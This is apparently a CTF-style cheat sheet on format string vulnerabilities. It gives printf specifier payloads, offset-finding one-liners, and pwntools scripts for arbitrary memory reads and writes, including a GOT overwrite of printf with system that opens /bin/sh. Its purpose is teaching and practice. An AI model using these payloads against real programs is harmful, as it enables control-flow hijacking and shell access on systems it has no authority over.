Format String Vulnerabilities
Format string vulnerability exploitation including reading from and writing to arbitrary memory addresses using printf format specifiers.
Contents
- What is a Format String Vulnerability?
- Format Specifiers Reference
- Exploitation: Arbitrary Read
- Leaking Stack Values
- Leaking Arbitrary Addresses (read memory)
- Finding Your Offset
- Exploitation: Arbitrary Write
- The %n Write Primitive
- Writing Specific Values (2 bytes at a time with %hn)
- Pwntools Automation
- GOT Overwrite (replace printf → system)
- Generic Format String Leak Script
- Common Targets for Writes
- Useful Reads
- References
Format String Vulnerabilities
Sources: HackTricks - Format Strings | Crypto-Cat: Format String Vulns
What is a Format String Vulnerability?
Occurs when user input is passed directly as a format string to printf(), sprintf(), fprintf(), etc.
// VULNERABLE
printf(user_input);
// SAFE
printf("%s", user_input);
Format Specifiers Reference
%x — hex (4 bytes on 32-bit)
%08x — hex padded to 8 chars
%p — pointer (hex with 0x prefix)
%d — signed decimal
%u — unsigned decimal
%s — string (dereference pointer, print until NULL)
%n — WRITE number of bytes printed so far to address
%hn — write 2 bytes (half word)
%hhn — write 1 byte
%<n>$x — direct parameter access (e.g., %6$x = 6th param)
Exploitation: Arbitrary Read
Leaking Stack Values
# Leak values off the stack
echo 'AAAA.%x.%x.%x.%x.%x.%x.%x.%x' | ./vuln
# Direct access - leak the Nth param
echo '%6$x' | ./vuln
Leaking Arbitrary Addresses (read memory)
from pwn import *
p = process('./vuln')
# Read string at address 0x8048000
payload = b'%6$s' # 4th param (account for padding)
payload += b'xxxx' # padding to align
payload += p32(0x8048000) # 6th param = target address
p.sendline(payload)
print(p.clean())
Finding Your Offset
# Send 'AAAA' and find where it appears
echo 'AAAA%1$x.%2$x.%3$x.%4$x.%5$x.%6$x.%7$x.%8$x' | ./vuln
# Look for 41414141 in output — that's your offset
Exploitation: Arbitrary Write
The %n Write Primitive
%n writes the number of bytes printed so far to the address pointed to by the parameter.
AAAA%.6000d%4$n → writes 6004 to address at 4th param
Writing Specific Values (2 bytes at a time with %hn)
Since writing huge numbers byte-by-byte is impractical, use %hn to write 2 bytes at a time:
HOB = High Order Bytes (upper 2 bytes of target value)
LOB = Low Order Bytes (lower 2 bytes of target value)
If HOB < LOB:
[addr+2][addr]%.[HOB-8]x%[offset]$hn%.[LOB-HOB]x%[offset+1]$hn
If HOB > LOB:
[addr+2][addr]%.[LOB-8]x%[offset+1]$hn%.[HOB-LOB]x%[offset]$hn
Pwntools Automation
GOT Overwrite (replace printf → system)
from pwn import *
elf = context.binary = ELF('./vuln')
libc = elf.libc
libc.address = 0xf7dc2000 # if ASLR disabled
p = process()
# fmtstr_payload(offset, {target_addr: value_to_write})
payload = fmtstr_payload(5, {elf.got['printf']: libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Generic Format String Leak Script
from pwn import *
# Crypto-Cat's format string flag leak script
def leak_stack(p, offset_start=1, offset_end=50):
for i in range(offset_start, offset_end):
p = process('./vuln')
p.sendline(f'%{i}$p'.encode())
result = p.recvline()
print(f"Offset {i}: {result}")
p.close()
Common Targets for Writes
| Target | Purpose |
|---|---|
GOT entry of printf/puts | Redirect to system() |
GOT entry of exit | Loop back to vulnerable function |
.fini_array | Execute on program exit |
| Return address on stack | Direct control flow hijack |
| Stack canary location | Bypass canary check |
Useful Reads
- Leak canary → bypass stack protection
- Leak libc address from GOT → defeat ASLR
- Leak PIE base → defeat PIE
- Leak stack address → find buffer location for shellcode